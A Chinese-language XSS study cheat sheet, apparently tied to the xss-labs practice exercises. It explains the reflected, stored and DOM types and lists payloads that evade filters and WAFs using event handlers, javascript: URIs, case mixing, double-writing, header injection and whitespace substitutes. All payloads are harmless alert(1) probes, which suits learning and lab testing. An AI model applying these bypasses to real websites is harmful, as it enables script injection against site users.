区别
反射型XSS是在用户请求中即时反射恶意脚本;
存储型XSS是恶意脚本被存储在服务器上,随后在用户请求时被发送到浏览器执行;
DOM型XSS则是通过客户端脚本直接修改DOM,引入恶意代码。
DOM 型 XSS
DOM 型 XSS其实是一种特殊类型的反射型 XSS,它是基于 DOM 文档对象模型的一种漏洞。
基于这个特性,就可以利用 JS 脚本 来实现 XSS 漏洞的利用。
以下是一些经常出现 dom xss 的关键语句
document.referer 属性
window.name 属性
location 属性
innerHTML 属性
documen.write 属性
DOM 型 xss 程序中,只有 html 代码,dom 通过操作 HTML 或者 css 实现 HTML 属性、方法、事件,因此程序 中没有与服务器进行交互。实际上就是利用标签的属性等等
' onclick='alert(1)'
标签绕过
1、有<>
下面都是无危害探测标签,基本不会出发任何WAF
<s>123 <h1>123</h1> <p>123</p> </tExtArEa><h1>123</h1># </tExtArEa><s>123#//--+ '"></tExtArEa><s>123#//--+ <script>alert(1);</script>
<img src=1 onerror=alert(1)>
<iframe src="javascript:alert(1)"></iframe>
<a href="javascript:alert(1)">
2、无<>
onclick='alert(1)'
payload=hello' onmouseover='javascript:alert(1)'
javascript:alert(1)
onmousemove='alert(1)'
-
是一个 HTML 事件属性,表示当鼠标指针移动到指定 HTML 元素上时,会触发该事件。
大小写
<Script>alert(1);</Script>
双写
" oonnclick="alert(1)"
">alert(1)
必须带http://
使用//把http://注释掉
HTML实体编码绕过
javascript:alert(1);
html编码后:javascript:alert(1);
url参数、referer参数、ua参数、cookie参数
referer头也成了输出参数,我们从这个下手,打开postman 或者 burpsuite,将payload写到referer里
" type="text" onmousemove="alert(1)
ua
cookie:user
文件包含
src参数包含第一关文件,name参数
http://127.0.0.1/xss/level15.php?src=%27level1.php?name=%3Ca%20href=%22javascript:alert(1)%22%3E%27
空格绕过
空格的url编码为:%20
可替换成如下:
:::info
%09 水平制表符(Tab 字符)
%0a(换行)
%0b 垂直制表符
%0c 换页符
%0d 回车符
%a0 不间断空格
/
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)